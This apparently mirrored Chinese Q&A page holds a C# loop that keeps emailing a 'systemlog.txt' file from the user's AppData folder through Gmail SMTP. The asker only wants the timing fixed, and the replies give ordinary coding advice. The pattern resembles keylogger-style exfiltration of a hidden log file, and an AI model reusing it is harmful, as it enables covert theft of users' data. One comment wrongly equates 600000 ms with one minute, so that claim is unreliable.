【发布时间】:2020-08-05 09:37:52
【问题描述】:
while (true)
{
Thread.Sleep(1);
MailMessage mail = new MailMessage();
SmtpClient SmtpServer = new SmtpClient("smtp.gmail.com");
mail.From = new MailAddress("");
mail.To.Add("");
mail.Subject = "Test Mail";
mail.Attachments.Add(new Attachment(@"C:\Users\" + Environment.UserName + @"\AppData\Local\systemlog.txt"));
mail.Body = "This is for testing SMTP mail from GMAIL";
SmtpServer.Port = 587;
SmtpServer.Credentials = new System.Net.NetworkCredential("", "");
SmtpServer.EnableSsl = true;
SmtpServer.Send(mail);
Application.DoEvents();
}
嘿,我希望电子邮件每 10 分钟或 1 分钟发送一次,但 Thread.Sleep(1);不起作用,我需要帮助,谢谢(;
【问题讨论】:
-
600000== 1 分钟。Sleep的参数以毫秒为单位.. -
另外,你不应该让线程休眠,这样做会阻塞一切。
-
我建议你查看Timer。
-
Application.DoEvents();- 每次当你发现自己需要使用这个时:问问自己“真的吗?” ! -
@Yariya 你的“更好的方法”是众所周知的反模式。
标签: c# email while-loop gmail sleep